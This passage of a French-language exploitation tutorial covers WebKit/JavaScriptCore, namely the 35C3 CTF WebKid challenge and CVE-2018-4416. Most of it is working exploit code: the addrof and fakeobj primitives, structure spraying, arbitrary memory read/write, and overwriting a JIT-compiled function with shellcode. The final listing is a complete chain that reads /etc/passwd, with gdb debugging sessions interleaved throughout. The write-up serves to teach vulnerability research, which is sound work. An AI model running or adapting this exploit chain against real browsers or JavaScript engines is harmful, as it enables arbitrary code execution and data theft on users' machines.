function fakeobj(address) { setElem(address); return haxxArray[0]; } // Le code JIT le traite comme un entier, mais il devrait en fait être un objet. // Nous pouvons fuiter l'adresse à partir de cela print(addrof({})); // Presque la même chose que ci-dessus, mais pour écrire des données print(fakeobj(addrof({}))); #+end_example
** Fonctions utilitaires :PROPERTIES: :CUSTOM_ID: utility-functions :END: Le script d'exploit crée de nombreuses fonctions utilitaires. Elles nous aident à créer des primitives dont vous avez besoin dans presque tous les exploits WebKit. Nous n'examinerons que quelques fonctions importantes.
*** Obtenir du code natif :PROPERTIES: :CUSTOM_ID: getting-native-code :END: Pour attaquer, nous avons besoin d'une fonction de code natif pour écrire du shellcode ou du ROP. De plus, les fonctions ne deviennent du code natif qu'après avoir été exécutées plusieurs fois (celle-ci est dans =pwn.js=) :
#+begin_example function jitCompile(f, ...args) { for (var i = 0; i < ITERATIONS; i++) { f(...args); } }
function makeJITCompiledFunction() { // Du code qui peut être écrasé par le shellcode. function target(num) { for (var i = 2; i < num; i++) { if (num % i === 0) { return false; } } return true; } jitCompile(target, 123);
return target;
} #+end_example
*** Contrôle des octets :PROPERTIES: :CUSTOM_ID: controlling-bytes :END: Dans =int64.js=, nous créons une classe =Int64=. Elle utilise =Uint8Array= pour stocker les nombres et crée de nombreuses opérations associées comme =add= et =sub=. Dans le chapitre précédent, nous mentionnons que JavaScript utilise une valeur étiquetée pour représenter le nombre, ce qui signifie que vous ne pouvez pas contrôler l'octet de poids fort. Le tableau =Uint8Array= représente des entiers non signés 8 bits comme une valeur native, ce qui nous permet de contrôler les 8 octets.
Exemple simple d'utilisation de =Uint8Array= :
#+begin_example var x = new Uint8Array([17, -45.3]); var y = new Uint8Array(x); console.log(x[0]); // 17
console.log(x[1]); // la valeur sera convertie en entier non signé 8 bits // 211 #+end_example
Il peut être fusionné en un tableau de 16 octets. Ce qui suit nous montre que =Uint8Array= stocke sous forme native clairement, car =0x0201= == =513= :
#+begin_example a = new Uint8Array([1,2,3,4]) b = new Uint16Array(a.buffer) // Uint16Array [513, 1027] #+end_example
Les fonctions restantes de =Int64= sont des simulations de différentes opérations. Vous pouvez déduire leurs implémentations à partir de leurs noms et commentaires. Lire les codes est aussi facile.
** Rédaction de l'exploit :PROPERTIES: :CUSTOM_ID: writing-exploit :END: *** Détail du script :PROPERTIES: :CUSTOM_ID: detail-about-the-script :END: J'ajoute quelques commentaires de l'article original de Saelo (la plupart des commentaires sont encore son travail, merci infiniment !) :
#+begin_example const ITERATIONS = 100000;
// Une fonction d'aide retourne une fonction avec du code natif function jitCompile(f, ...args) { for (var i = 0; i < ITERATIONS; i++) { f(...args); } } jitCompile(function dummy() { return 42; });
// Retourne une fonction avec du code natif, nous placerons le shellcode dans cette fonction plus tard function makeJITCompiledFunction() {// Some code that can be overwritten by the shellcode. function target(num) { for (var i = 2; i < num; i++) { if (num % i === 0) { return false; } } return true; } jitCompile(target, 123);
return target;
}
function setup_addrof() { var o = [1.1, 2.2, 3.3, 4.4]; o.addrof_property = 42;
// JIT compiler will install a watchpoint to discard the
// compiled code if the structure of |o| ever transitions
// (a heuristic for |o| being modified). As such, there
// won't be runtime checks in the generated code.
function helper() {
return o[0];
}
jitCompile(helper);
// This will take the newly added fast-path, changing the structure
// of |o| without the JIT code being deoptimized (because the structure
// of |o| didn't transition, |o| went "back" to an existing structure).
delete o.addrof_property;
// Now we are free to modify the structure of |o| any way we like,
// the JIT compiler won't notice (it's watching a now unrelated structure).
o[0] = {};
return function(obj) {
o[0] = obj;
return Int64.fromDouble(helper());
};
}
function setup_fakeobj() { var o = [1.1, 2.2, 3.3, 4.4]; o.fakeobj_property = 42;
// Same as above, but write instead of reading from the array.
function helper(addr) {
o[0] = addr;
}
jitCompile(helper, 13.37);
delete o.fakeobj_property;
o[0] = {};
return function(addr) {
helper(addr.asDouble());
return o[0];
};
}
function pwn() { var addrof = setup_addrof(); var fakeobj = setup_fakeobj();
// verify basic exploit primitives work.
var addr = addrof({p: 0x1337});
assert(fakeobj(addr).p == 0x1337, "addrof and/or fakeobj does not work");
print('[+] exploit primitives working');
// from saelo: spray structures to be able to predict their IDs.
// var structs = []
// var i = 0;
// var abc = [13.37];
// abc.pointer = 1234;
// abc['prop' + i] = 13.37;
// structs.push(abc);
// var victim = structs[0];
//
// and the payload still work stablely. It seems this action is redundant
var structs = []
for (var i = 0; i < 0x1000; ++i) {
var array = [13.37];
array.pointer = 1234;
array['prop' + i] = 13.37;
structs.push(array);
}
// take an array from somewhere in the middle so it is preceeded by non-null bytes which
// will later be treated as the butterfly length.
var victim = structs[0x800];
print(`[+] victim @ ${addrof(victim)}`);
// craft a fake object to modify victim
var flags_double_array = new Int64("0x0108200700001000").asJSValue();
var container = {
header: flags_double_array,
butterfly: victim
};
// create object having |victim| as butterfly.
var containerAddr = addrof(container);
print(`[+] container @ ${containerAddr}`);
// add the offset to let compiler recognize fake structure
var hax = fakeobj(Add(containerAddr, 0x10));
// origButterfly is now based on the offset of **victim**
// because it becomes the new butterfly pointer
// and hax[1] === victim.pointer
var origButterfly = hax[1];
var memory = {
addrof: addrof,
fakeobj: fakeobj,
// Write an int64 to the given address.
writeInt64(addr, int64) {
hax[1] = Add(addr, 0x10).asDouble();
victim.pointer = int64.asJSValue();
},
// Write a 2 byte integer to the given address. Corrupts 6 additional bytes after the written integer.
write16(addr, value) {
// Set butterfly of victim object and dereference.
hax[1] = Add(addr, 0x10).asDouble();
victim.pointer = value;
},
// Write a number of bytes to the given address. Corrupts 6 additional bytes after the end.
write(addr, data) {
while (data.length % 4 != 0)
data.push(0);
var bytes = new Uint8Array(data);
var ints = new Uint16Array(bytes.buffer);
for (var i = 0; i < ints.length; i++)
this.write16(Add(addr, 2 * i), ints[i]);
},
// Read a 64 bit value. Only works for bit patterns that don't represent NaN.
read64(addr) {
// Set butterfly of victim object and dereference.
hax[1] = Add(addr, 0x10).asDouble();
return this.addrof(victim.pointer);
},
// Verify that memory read and write primitives work.
test() {
var v = {};
var obj = {p: v};
var addr = this.addrof(obj);
assert(this.fakeobj(addr).p == v, "addrof and/or fakeobj does not work");
var propertyAddr = Add(addr, 0x10);
var value = this.read64(propertyAddr);
assert(value.asDouble() == addrof(v).asDouble(), "read64 does not work");
this.write16(propertyAddr, 0x1337);
assert(obj.p == 0x1337, "write16 does not work");
},
};
// Testing code, not related to exploit
var plainObj = {};
var header = memory.read64(addrof(plainObj));
memory.writeInt64(memory.addrof(container), header);
memory.test();
print("[+] limited memory read/write working");
// get targetd function
var func = makeJITCompiledFunction();
var funcAddr = memory.addrof(func);
// change the JIT code to shellcode
// offset addjustment is a little bit complicated here :P
print(`[+] shellcode function object @ ${funcAddr}`);
var executableAddr = memory.read64(Add(funcAddr, 24));
print(`[+] executable instance @ ${executableAddr}`);
var jitCodeObjAddr = memory.read64(Add(executableAddr, 24));
print(`[+] JITCode instance @ ${jitCodeObjAddr}`);
// var jitCodeAddr = memory.read64(Add(jitCodeObjAddr, 368)); // offset for debug builds
// final JIT Code address
var jitCodeAddr = memory.read64(Add(jitCodeObjAddr, 352));
print(`[+] JITCode @ ${jitCodeAddr}`);
var s = "A".repeat(64);
var strAddr = addrof(s);
var strData = Add(memory.read64(Add(strAddr, 16)), 20);
shellcode.push(...strData.bytes());
// write shellcode
memory.write(jitCodeAddr, shellcode);
// trigger shellcode
var res = func();
var flag = s.split('\n')[0];
if (typeof(alert) !== 'undefined')
alert(flag);
print(flag);
}
if (typeof(window) === 'undefined') pwn(); #+end_example
** Conclusion sur l'exploitation :PROPERTIES: :CUSTOM_ID: conclusion-on-the-exploitation :END: Pour conclure, l'exploit utilise deux primitives d'attaque essentielles - =addrof= et =fakeobj= - pour fuiter et fabriquer. Une fonction JITée est fuite et écrasée avec notre tableau =shellcode=. Ensuite, nous avons appelé la fonction pour fuiter le drapeau. Presque tous les exploits de navigateur suivent cette forme.
Merci aux organisateurs du 35C3 CTF, en particulier Saelo. C'est un excellent défi pour apprendre la confusion de type WebKit.
J'avais l'habitude d'essayer de placer des points d'arrêt pour trouver leurs adresses, mais c'est en fait très stupide. /JSC/ a de nombreuses fonctions non standard qui peuvent afficher des informations pour nous (vous ne pouvez pas utiliser la plupart d'entre elles dans /Safari/) : - =print()= et =debug()= : Comme =console.log()= dans /node.js/, cela affichera des informations dans votre terminal. Cependant, =print= dans /Safari/ utilisera une imprimante réelle pour imprimer des documents. - =describe()= : Décrit un objet. On peut obtenir l'adresse, les membres de la classe et les informations connexes via cette fonction. - =describeArray()= : Similaire à =describe()=, mais se concentre sur les informations /array/ d'un objet. - =readFile()= : Ouvre un fichier et récupère le contenu. - =noDFG()= et =noFLT()= : Désactive certains compilateurs JIT.
** Définir des points d'arrêt :PROPERTIES: :CUSTOM_ID: setting-breakpoints :END: La manière la plus simple de définir des points d'arrêt est de casser une fonction inutilisée. Quelque chose comme =print= ou =Array.prototype.slice([]);=. Comme nous ne savons pas si une fonction affectera un PoC la plupart du temps, cette méthode peut apporter quelques effets secondaires.
Définir des fonctions vulnérables comme points d'arrêt fonctionne aussi. Quand vous essayez de comprendre une vulnérabilité, les casser sera extrêmement important. Mais leurs piles d'appels peuvent ne pas être agréables.
On peut aussi personnaliser une fonction de débogage (utiliser =int 3=) dans le code source de WebKit. Définir, implémenter et enregistrer notre fonction dans =/Source/JavaScriptCore/jsc.cpp=. Cela nous aide à suspendre WebKit dans les débogueurs :
#+begin_src cpp static EncodedJSValue JSC_HOST_CALL functionDbg(ExecStage*); addFunction(vm, "dbg", functionDbg, 0); static EncodedJSValue JSC_HOST_CALL functionDbg(ExecStage* exec) { asm("int 3"); return JSValue::encode(jsUndefined()); } #+end_src
Comme la troisième méthode nécessite de modifier le code source, je préfère personnellement les deux premières.
** Inspecter les objets JSC :PROPERTIES: :CUSTOM_ID: inspecting-jsc-objects :END: Ok, utilisons ce script :
#+begin_example arr = [0, 1, 2, 3] debug(describe(arr))
print() #+end_example
Utilisons notre gdb avec gef pour déboguer ; vous devinerez peut-être que nous allons casser =print()= :
#+begin_example gdb jsc gef> b *printInternal gef> r --> Object: 0x7fffaf4b4350 with butterfly 0x7ff8000e0010 (Structure 0x7fffaf4f2b50:[Array, {}, CopyOnWriteArrayWithInt32, Proto:0x7fffaf4c80a0, Leaf]), StructureID: 100
... // Some backtrace #+end_example
#+begin_quote L'adresse de l'objet et le pointeur butterfly peuvent varier sur votre machine. Si nous modifions le script, l'adresse peut aussi changer. Veuillez les ajuster en fonction de votre sortie. #+end_quote
Nous allons jeter un premier coup d'œil sur l'objet et son pointeur :
#+begin_example gef> x/2gx 0x7fffaf4b4350 0x7fffaf4b4350: 0x0108211500000064 0x00007ff8000e0010 gef> x/4gx 0x00007ff8000e0010 0x7ff8000e0010: 0xffff000000000000 0xffff000000000001 0x7ff8000e0020: 0xffff000000000002 0xffff000000000003 #+end_example
Que se passe-t-il si on le change en flottant ?
#+begin_example arr = [1.0, 1.0, 2261634.5098039214, 2261634.5098039214] debug(describe(arr))
print() #+end_example
Nous utilisons une petite astuce ici : =2261634.5098039214= représente =0x4141414141414141= en mémoire. Trouver la valeur est plus pratique via le nombre magique (nous utilisons directement le pointeur butterfly ici). Par défaut, JSC remplit la mémoire inutilisée avec =0x00000000badbeef0= :
#+begin_example gef> x/10gx 0x00007ff8000e0010 0x7ff8000e0010: 0x3ff0000000000000 0x3ff0000000000000 0x7ff8000e0020: 0x4141414141414141 0x4141414141414141 0x7ff8000e0030: 0x00000000badbeef0 0x00000000badbeef0 0x7ff8000e0040: 0x00000000badbeef0 0x00000000badbeef0 0x7ff8000e0050: 0x00000000badbeef0 0x00000000badbeef0 #+end_example
La disposition mémoire est la même que celle de la partie /Modèle d'objet JSC/, donc nous ne répétons pas ici.
** Obtenir le code natif :PROPERTIES: :CUSTOM_ID: getting-native-code-1 :END: Maintenant, il est temps d'obtenir la fonction compilée. Elle joue un rôle important dans la compréhension du compilateur JSC et de l'exploitation :
#+begin_example const ITERATIONS = 100000;
function jitCompile(f, ...args) { for (var i = 0; i < ITERATIONS; i++) { f(...args); } } jitCompile(function dummy() { return 42; }); debug("jitCompile Ready")
function makeJITCompiledFunction() { function target(num) { for (var i = 2; i < num; i++) { if (num % i === 0) { return false; } } return true; } jitCompile(target, 123);
return target;
}
func = makeJITCompiledFunction() debug(describe(func))
print() #+end_example
Ce n'est pas difficile si vous avez lu attentivement la section précédente. Maintenant, nous devrions obtenir leur code natif dans le débogueur :
#+begin_example --> Object: 0x7fffaf468120 with butterfly (nil) (Structure 0x7fffaf4f1b20:[Function, {}, NonArray, Proto:0x7fffaf4d0000, Leaf]), StructureID: 63 ... // Some backtrace ... gef> x/gx 0x7fffaf468120+24 0x7fffaf468138: 0x00007fffaf4fd080 gef> x/gx 0x00007fffaf4fd080+24 0x7fffaf4fd098: 0x00007fffefe46000 // In debug mode, it's okay to use 368 as offset // In release mode, however, it should be 352 gef> x/gx 0x00007fffefe46000+368 0x7fffefe46170: 0x00007fffafe02a00 gef> hexdump byte 0x00007fffafe02a00 0x00007fffafe02a00 55 48 89 e5 48 8d 65 d0 48 b8 60 0c 45 af ff 7f UH..H.e.H.`.E... 0x00007fffafe02a10 00 00 48 89 45 10 48 8d 45 b0 49 bb b8 2e c1 af ..H.E.H.E.I..... 0x00007fffafe02a20 ff 7f 00 00 49 39 03 0f 87 9c 00 00 00 48 8b 4d ....I9.......H.M 0x00007fffafe02a30 30 48 b8 00 00 00 00 00 00 ff ff 48 39 c1 0f 82 0H.........H9... #+end_example
Mettez votre vidage d'octets dans rasm2 :
#+begin_example rasm -d "you dump byte here" push ebp dec eax mov ebp, esp dec eax lea esp, [ebp - 0x30] dec eax mov eax, 0xaf450c60 invalid jg 0x11 add byte [eax - 0x77], cl inc ebp adc byte [eax - 0x73], cl inc ebp mov al, 0x49 mov ebx, 0xafc12eb8 invalid jg 0x23 add byte [ecx + 0x39], cl add ecx, dword [edi] xchg dword [eax + eax - 0x74b80000], ebx dec ebp xor byte [eax - 0x48], cl add byte [eax], al add byte [eax], al add byte [eax], al invalid dec dword [eax + 0x39] ror dword [edi], 0x82 #+end_example
Emmmm... le code de désassemblage est partiellement incorrect. Au moins on peut voir une ébauche maintenant.
C'est une confusion de type. Comme nous avons déjà parlé de /WebKid/, un défi CTF similaire qui a un bug de confusion de type, il ne sera pas difficile de comprendre celui-ci. Passez à la branche vulnérable et commencez notre voyage.
Le PoC est fourni au début de l'article. Copiez et collez les fichiers =int64.js=, =shellcode.js=, et =utils.js= du dépôt /WebKid/ dans votre machine virtuelle.
** Cause racine :PROPERTIES: :CUSTOM_ID: root-cause :END: *** Citation de Lokihardt :PROPERTIES: :CUSTOM_ID: quotation-from-lokihardt :END: Voici la description de CVE-2018-4416 par /Lokihardt/, avec mes surlignements partiels.
Lorsqu'une boucle =for-in= est exécutée, un objet =JSPropertyNameEnumerator= est créé au début et utilisé pour stocker les informations de l'objet d'entrée de la boucle =for-in=. À l'intérieur de la boucle, l'/ID de structure/ de l'objet "this" de chaque expression =get_by_id= *prenant la variable de boucle comme indice est comparé à l'/ID de structure= mis en cache depuis l'objet =JSPropertyNameEnumerator=. S'il est identique, l'objet "this" de l'expression =get_by_id= sera considéré comme ayant la même structure que l'objet d'entrée de la boucle =for-in=.
Le problème est qu'il n'y a rien pour empêcher la structure dont l'/ID de structure= mis en cache provient d'être libérée. Comme les /ID de structure/ peuvent être réutilisés après que leurs propriétaires sont libérés, cela peut mener à une /confusion de type/.
*** Explication ligne par ligne :PROPERTIES: :CUSTOM_ID: line-by-line-explanation :END: Le commentaire dans =/* */= est mon analyse, qui peut être inexacte. Le commentaire après =//= est de Lokihardt :
#+begin_example function gc() { for (let i = 0; i < 10; i++) { let ab = new ArrayBuffer(1024 * 1024 * 10); } }
function opt(obj) { // Starting the optimization. for (let i = 0; i < 500; i++) {
}
/* Step 3 */
/* This is abother target */
/* We want to confuse it(tmp) with obj(fake_object_memory) */
let tmp = {a: 1};
gc();
tmp.__proto__ = {};
for (let k in tmp) { // The structure ID of "tmp" is stored in a JSPropertyNameEnumerator.
/* Step 4 */
/* Change the structure of tmp to {} */
tmp.__proto__ = {};
gc();
/* The structure of obj is also {} now */
obj.__proto__ = {}; // The structure ID of "obj" equals to tmp's.
/* Step 5 */
/* Compiler believes obj and tmp share the same type now */
/* Thus, obj[k] will retrieve data from object with offset a */
/* In the patched version, it should be undefined */
return obj[k]; // Type confusion.
}
}
/* Step 0 / / Prepare structure {} */ opt({});
/* Step 1 / / Target Array, 0x1234 is our fake address*/ let fake_object_memory = new Uint32Array(100); fake_object_memory[0] = 0x1234;
/* Step 2 / / Trigger type confusion*/ let fake_object = opt(fake_object_memory);
/* JSC crashed */ print(fake_object); #+end_example
*** Débogage :PROPERTIES: :CUSTOM_ID: debugging :END: Déboguons-le pour vérifier notre pensée. Je modifie le PoC original pour un débogage plus facile. Mais ils sont presque identiques à l'exception de =print()= supplémentaire :
#+begin_example function gc() { for (let i = 0; i < 10; i++) { let ab = new ArrayBuffer(1024 * 1024 * 10); } }
function opt(obj) { // Starting the optimization. for (let i = 0; i < 500; i++) {
}
let tmp = {a: 1};
gc();
tmp.__proto__ = {};
for (let k in tmp) { // The structure ID of "tmp" is stored in a JSPropertyNameEnumerator.
tmp.__proto__ = {};
gc();
obj.__proto__ = {}; // The structure ID of "obj" equals to tmp's.
debug("Confused Object: " + describe(obj));
return obj[k]; // Type confusion.
}
}
opt({});
let fake_object_memory = new Uint32Array(100); fake_object_memory[0] = 0x41424344; let fake_object = opt(fake_object_memory); print() print(fake_object) #+end_example
Ensuite =gdb ./jsc=, =b *printInternal=, et =r poc.js=. On obtient :
#+begin_example ...
--> Confused Object: Object: 0x7fffaf6b0080 with butterfly (nil) (Structure 0x7fffaf6f3db0:[Object, {}, NonArray, Proto:0x7fffaf6b3e80, Leaf]), StructureID: 142 --> Confused Object: Object: 0x7fffaf6cbe40 with butterfly (nil) (Structure 0x7fffaf6f3db0:[Uint32Array, {}, NonArray, Proto:0x7fffaf6b3e00, Leaf]), StructureID: 142
... #+end_example
Jetons un coup d'œil à notre fausse adresse. JSC est trop grand pour trouver votre point d'arrêt rêvé. Définissons plutôt un point d'observation pour suivre son flux :
#+begin_example gef> x/4gx 0x7fffaf6cbe40 0x7fffaf6cbe40: 0x02082a000000008e 0x0000000000000000 0x7fffaf6cbe50: 0x00007fe8014fc000 0x0000000000000064 gef> x/4gx 0x00007fe8014fc000 0x7fe8014fc000: 0x0000000041424344 0x0000000000000000 0x7fe8014fc010: 0x0000000000000000 0x0000000000000000 gef> rwatch *0x7fe8014fc000 Hardware read watchpoint 2: *0x7fe8014fc000 #+end_example
Nous obtenons la sortie attendue plus tard :
#+begin_example Thread 1 "jsc" hit Hardware read watchpoint 2: *0x7fe8014fc000
Value = 0x41424344 0x00005555555bebd4 in JSC::JSCell::structureID (this=0x7fe8014fc000) at ../../Source/JavaScriptCore/runtime/JSCell.h:133 133 StructureID structureID() const { return m_structureID; } #+end_example
Mais pourquoi cela apparaît-il à =structure ID=? On peut obtenir la réponse de leur disposition mémoire :
#+begin_example obj (fake_object_memory): 0x7fffaf6cbe40: 0x02082a000000008e 0x0000000000000000 0x7fffaf6cbe50: 0x00007fe8014fc000 0x0000000000000064
tmp ({a: 1}): 0x7fffaf6cbdc0: 0x000016000000008b 0x0000000000000000 0x7fffaf6cbdd0: 0xffff000000000001 0x0000000000000000 #+end_exampleDonc, le pointeur de =Uint32Array= est retourné comme un objet. Et =m_structureID= est au début de chaque objet JS. Puisque =0x1234= est le premier élément de notre tableau, il est raisonnable que =structureID()= le récupère.
Nous pouvons maintenant utiliser les données dans =Uint32Array= pour fabriquer un faux objet. Génial !
** Construction de la primitive d'attaque :PROPERTIES: :CUSTOM_ID: constructing-attack-primitive :END: *** addrof :PROPERTIES: :CUSTOM_ID: addrof :END: Maintenant, nous devons fabriquer un objet légal. Je choisis ={}= (un objet vide) comme cible.
À quoi ressemble un objet vide en mémoire (ignorez le script et le débogage ici) :
#+begin_example 0x7fe8014fc000: 0x010016000000008a 0x0000000000000000 #+end_example
D'accord, il commence par =0x010016000000008a=. Nous pouvons le simuler dans =Uint32Array= pratique (n'oubliez pas de coller =gc= et =opt= ici) :
#+begin_example function gc() { ... // Same as above's }
function opt(obj) { ... // Same as above;s }
opt({});
let fake_object_memory = new Uint32Array(100); fake_object_memory[0] = 0x0000004c; fake_object_memory[1] = 0x01001600; let fake_object = opt(fake_object_memory); fake_object.a = {}
print(fake_object_memory[4]) print(fake_object_memory[5]) #+end_example
Deux nombres mystérieux sont retournés :
#+begin_src shell 2591768192 # hex: 0x9a7b3e80 32731 # hex: 0x7fdb #+end_src
Évidemment, c'est au format pointeur. Nous pouvons maintenant fuire n'importe quel objet !
*** fakeobj :PROPERTIES: :CUSTOM_ID: fakeobj :END: Obtenir un =fakeob= est presque identique à la construction de =addrof=. La différence est que vous devez remplir une adresse dans =Uint32Array=, puis obtenir l'objet via l'attribut =a= dans =fake_object=
*** Lecture/Écriture Arbitraire et Exécution de Shellcode :PROPERTIES: :CUSTOM_ID: arbitrary-rw-and-shellcode-execution :END: C'est similaire au script d'exploitation dans le défi =WebKid=. Le script complet est trop long pour être expliqué ligne par ligne. Vous pouvez cependant le trouver [[/assets/CVE-2018-4416.js][ici]]. Vous devrez peut-être essayer environ 10 tours pour réussir l'exploitation. Il lira votre =/etc/passwd= en cas de succès. Voici le code principal :
#+begin_example // get compiled function var func = makeJITCompiledFunction();
function gc() { for (let i = 0; i < 10; i++) { let ab = new ArrayBuffer(1024 * 1024 * 10); } }
// Typr confusion here function opt(obj) { for (let i = 0; i < 500; i++) {
}
let tmp = {a: 1};
gc();
tmp.__proto__ = {};
for (let k in tmp) {
tmp.__proto__ = {};
gc();
obj.__proto__ = {};
// Compiler are misleaded that obj and tmp shared same type
return obj[k];
}
}
opt({});
// Use Uint32Array to craft a controable memory // Craft a fake object header let fake_object_memory = new Uint32Array(100); fake_object_memory[0] = 0x0000004c; fake_object_memory[1] = 0x01001600; let fake_object = opt(fake_object_memory);
debug(describe(fake_object))
// Use JIT to stablized our attribute // Attribute a will be used by addrof/fakeobj // Attrubute b will be used by arbitrary read/write for (i = 0; i < 0x1000; i ++) { fake_object.a = {test : 1}; fake_object.b = {test : 1}; }
// get addrof // we pass a pbject to fake_object // since fake_object is inside fake_object_memory and represneted as integer // we can use fake_object_memory to retrieve the integer value function setup_addrof() { function p32(num) { value = num.toString(16) return "0".repeat(8 - value.length) + value } return function(obj) { fake_object.a = obj value = "" value = "0x" + p32(fake_object_memory[5]) + "" + p32(fake_object_memory[4]) return new Int64(value) } }
// Same // But we pass integer value first. then retrieve object function setup_fakeobj() { return function(addr) { //fake_object_memory[4] = addr[0] //fake_object_memory[5] = addr[1] value = addr.toString().replace("0x", "") fake_object_memory[4] = parseInt(value.slice(8, 16), 16) fake_object_memory[5] = parseInt(value.slice(0, 8), 16) return fake_object.a } }
addrof = setup_addrof() fakeobj = setup_fakeobj() debug("[+] set up addrof/fakeobj") var addr = addrof({p: 0x1337}); assert(fakeobj(addr).p == 0x1337, "addrof and/or fakeobj does not work"); debug('[+] exploit primitives working');
// Use fake_object + 0x40 cradt another fake object for read/write var container_addr = Add(addrof(fake_object), 0x40) fake_object_memory[16] = 0x00001000; fake_object_memory[17] = 0x01082007;
var structs = [] for (var i = 0; i < 0x1000; ++i) { var a = [13.37]; a.pointer = 1234; a['prop' + i] = 13.37; structs.push(a); }
// We will use victim as the butterfly pointer of contianer object victim = structs[0x800] victim_addr = addrof(victim) victim_addr_hex = victim_addr.toString().replace("0x", "") fake_object_memory[19] = parseInt(victim_addr_hex.slice(0, 8), 16) fake_object_memory[18] = parseInt(victim_addr_hex.slice(8, 16), 16)
// Overwrite container to fake_object.b container_addr_hex = container_addr.toString().replace("0x", "") fake_object_memory[7] = parseInt(container_addr_hex.slice(0, 8), 16) fake_object_memory[6] = parseInt(container_addr_hex.slice(8, 16), 16) var hax = fake_object.b
var origButterfly = hax[1];
var memory = { addrof: addrof, fakeobj: fakeobj,
// Write an int64 to the given address.
// we change the butterfly of victim to addr + 0x10
// when victim change the pointer attribute, it will read butterfly - 0x10
// which equal to addr + 0x10 - 0x10 = addr
// read arbiutrary value is almost the same
writeInt64(addr, int64) {
hax[1] = Add(addr, 0x10).asDouble();
victim.pointer = int64.asJSValue();
},
// Write a 2 byte integer to the given address. Corrupts 6 additional bytes after the written integer.
write16(addr, value) {
// Set butterfly of victim object and dereference.
hax[1] = Add(addr, 0x10).asDouble();
victim.pointer = value;
},
// Write a number of bytes to the given address. Corrupts 6 additional bytes after the end.
write(addr, data) {
while (data.length % 4 != 0)
data.push(0);
var bytes = new Uint8Array(data);
var ints = new Uint16Array(bytes.buffer);
for (var i = 0; i < ints.length; i++)
this.write16(Add(addr, 2 * i), ints[i]);
},
// Read a 64 bit value. Only works for bit patterns that don't represent NaN.
read64(addr) {
// Set butterfly of victim object and dereference.
hax[1] = Add(addr, 0x10).asDouble();
return this.addrof(victim.pointer);
},
// Verify that memory read and write primitives work.
test() {
var v = {};
var obj = {p: v};
var addr = this.addrof(obj);
assert(this.fakeobj(addr).p == v, "addrof and/or fakeobj does not work");
var propertyAddr = Add(addr, 0x10);
var value = this.read64(propertyAddr);
assert(value.asDouble() == addrof(v).asDouble(), "read64 does not work");
this.write16(propertyAddr, 0x1337);
assert(obj.p == 0x1337, "write16 does not work");
},
};
memory.test(); debug("[+] limited memory read/write working");
// Get JIT code address
debug(describe(func))
var funcAddr = memory.addrof(func);
debug([+] shellcode function object @ ${funcAddr});
var executableAddr = memory.read64(Add(funcAddr, 24));
debug([+] executable instance @ ${executableAddr});
var jitCodeObjAddr = memory.read64(Add(executableAddr, 24));
debug([+] JITCode instance @ ${jitCodeObjAddr});
var jitCodeAddr = memory.read64(Add(jitCodeObjAddr, 368));
//var jitCodeAddr = memory.read64(Add(jitCodeObjAddr, 352));
debug([+] JITCode @ ${jitCodeAddr});
// Our shellcode var shellcode = [0xeb, 0x3f, 0x5f, 0x80, 0x77, 0xb, 0x41, 0x48, 0x31, 0xc0, 0x4, 0x2, 0x48, 0x31, 0xf6, 0xf, 0x5, 0x66, 0x81, 0xec, 0xff, 0xf, 0x48, 0x8d, 0x34, 0x24, 0x48, 0x89, 0xc7, 0x48, 0x31, 0xd2, 0x66, 0xba, 0xff, 0xf, 0x48, 0x31, 0xc0, 0xf, 0x5, 0x48, 0x31, 0xff, 0x40, 0x80, 0xc7, 0x1, 0x48, 0x89, 0xc2, 0x48, 0x31, 0xc0, 0x4, 0x1, 0xf, 0x5, 0x48, 0x31, 0xc0, 0x4, 0x3c, 0xf, 0x5, 0xe8, 0xbc, 0xff, 0xff, 0xff, 0x2f, 0x65, 0x74, 0x63, 0x2f, 0x70, 0x61, 0x73, 0x73, 0x77, 0x64, 0x41]
var s = "A".repeat(64); var strAddr = addrof(s); var strData = Add(memory.read64(Add(strAddr, 16)), 20);
// write shellcode shellcode.push(...strData.bytes()); memory.write(jitCodeAddr, shellcode);
// trigger and get /etc/passwd func(); print() #+end_example